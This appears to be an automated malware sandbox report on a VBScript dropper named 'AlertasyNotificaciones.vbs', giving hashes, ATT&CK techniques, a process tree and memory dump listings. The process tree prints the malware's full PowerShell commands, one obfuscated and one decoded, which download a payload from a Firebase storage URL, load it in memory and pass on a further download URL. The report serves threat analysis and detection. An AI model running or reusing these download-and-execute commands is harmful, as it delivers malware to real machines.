ef5fa3f193d8205806fc945aea79ea2aeddb8845d1d9e81e22e57370db09c426

General

Target

AlertasyNotificaciones.vbs
Size

2.6MB
MD5

f85469b805e7ccd3da7f69df07566f0d
SHA1

e9d9b0ddda2aa1e0345b1a88a491f0ee43bdcdc0
SHA256

ef5fa3f193d8205806fc945aea79ea2aeddb8845d1d9e81e22e57370db09c426
SHA512

4bc1d37bce587cd3a2ba02bd0341f7a718e5b8b974b769a46c12fbb1ca8df4424955436c3ae40b06cfaa3b9ad2085ed712ca77e1df5e0e34fffcf244b05b121f
SSDEEP

1536:bPPPPPPPPP9PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP5:/f

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	3040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2180	powershell.exe
3040	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2180	powershell.exe
3040	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 2180	1940	WScript.exe	30
PID 1940 wrote to memory of 2180	1940	WScript.exe	30
PID 1940 wrote to memory of 2180	1940	WScript.exe	30
PID 2180 wrote to memory of 3040	2180	powershell.exe	32
PID 2180 wrote to memory of 3040	2180	powershell.exe	32
PID 2180 wrote to memory of 3040	2180	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bi▒GI▒bQBw▒G8▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒GU▒Z▒Br▒GQ▒Yw▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒Hg▒bwB3▒HE▒aQ▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBm▒Gk▒cgBl▒GI▒YQBz▒GU▒cwB0▒G8▒cgBh▒Gc▒ZQ▒u▒Gc▒bwBv▒Gc▒b▒Bl▒GE▒c▒Bp▒HM▒LgBj▒G8▒bQ▒v▒HY▒M▒▒v▒GI▒LwBy▒G8▒Z▒By▒Gk▒YQBr▒GQ▒LQ▒4▒DQ▒MQ▒z▒GQ▒LgBh▒H▒▒c▒Bz▒H▒▒bwB0▒C4▒YwBv▒G0▒LwBv▒C8▒Z▒Bs▒Gw▒JQ▒y▒EY▒Z▒Bs▒Gw▒JQ▒y▒D▒▒S▒Bv▒H▒▒ZQ▒u▒HQ▒e▒B0▒D8▒YQBs▒HQ▒PQBt▒GU▒Z▒Bp▒GE▒JgB0▒G8▒awBl▒G4▒PQ▒2▒DE▒Yw▒4▒DI▒OQBm▒DY▒LQBl▒DE▒OQ▒2▒C0▒N▒▒5▒GU▒O▒▒t▒GI▒N▒Bm▒GY▒LQ▒w▒DQ▒MQ▒x▒DM▒N▒▒1▒Dc▒NwBm▒GY▒ZQ▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒e▒Bv▒Hc▒cQBp▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒Fo▒e▒BL▒Eg▒Rw▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒JwB0▒Hg▒d▒▒u▒G8▒aQB2▒G4▒ZQ▒v▒HM▒Z▒Bh▒G8▒b▒Bu▒Hc▒bwBk▒C8▒cwBh▒Gc▒cgBh▒GM▒cwBl▒GQ▒LwBj▒GQ▒cwBh▒GM▒Z▒▒v▒Gc▒cgBv▒C4▒d▒Bl▒Gs▒YwB1▒GI▒d▒Bp▒GI▒Lw▒v▒Do▒cwBw▒HQ▒d▒Bo▒Cc▒I▒▒s▒C▒▒J▒Bl▒GQ▒awBk▒GM▒I▒▒s▒C▒▒JwBf▒F8▒XwBf▒F8▒XwBf▒F8▒ZgBn▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒Jw▒s▒C▒▒J▒Bi▒GI▒bQBw▒G8▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$bbmpo = '0';$edkdc = 'C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs';[Byte[]] $xowqi = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe'));[system.AppDomain]::CurrentDomain.Load($xowqi).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.oivne/sdaolnwod/sagracsed/cdsacd/gro.tekcubtib//:sptth' , $edkdc , '________fg_______________-------------', $bbmpo, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
05d0c5fcc182b9875ec53e99d046b528

SHA1
2895a6e8cba9cc4888fa06fa94113e49fb55aa16

SHA256
42e4f8c60de39e13e4660691e8f2e2bb0f8ce10086546a60b73aaada517925b4

SHA512
9996a0a500b47deffb151bc4b6dbd36e437f7b626098cab8fe8b82e2b6b9e28a3641756bcc2f672a1786aca8ab172fc8b18d7183ab7276cc7651dcc885e2e3b1

Download Submit
memory/2180-4-0x000007FEF5FFE000-0x000007FEF5FFF000-memory.dmp

Filesize
4KB

Download
memory/2180-5-0x000000001B480000-0x000000001B762000-memory.dmp

Filesize
2.9MB

Download
memory/2180-7-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2180-6-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/2180-8-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/2180-9-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/2180-10-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/2180-16-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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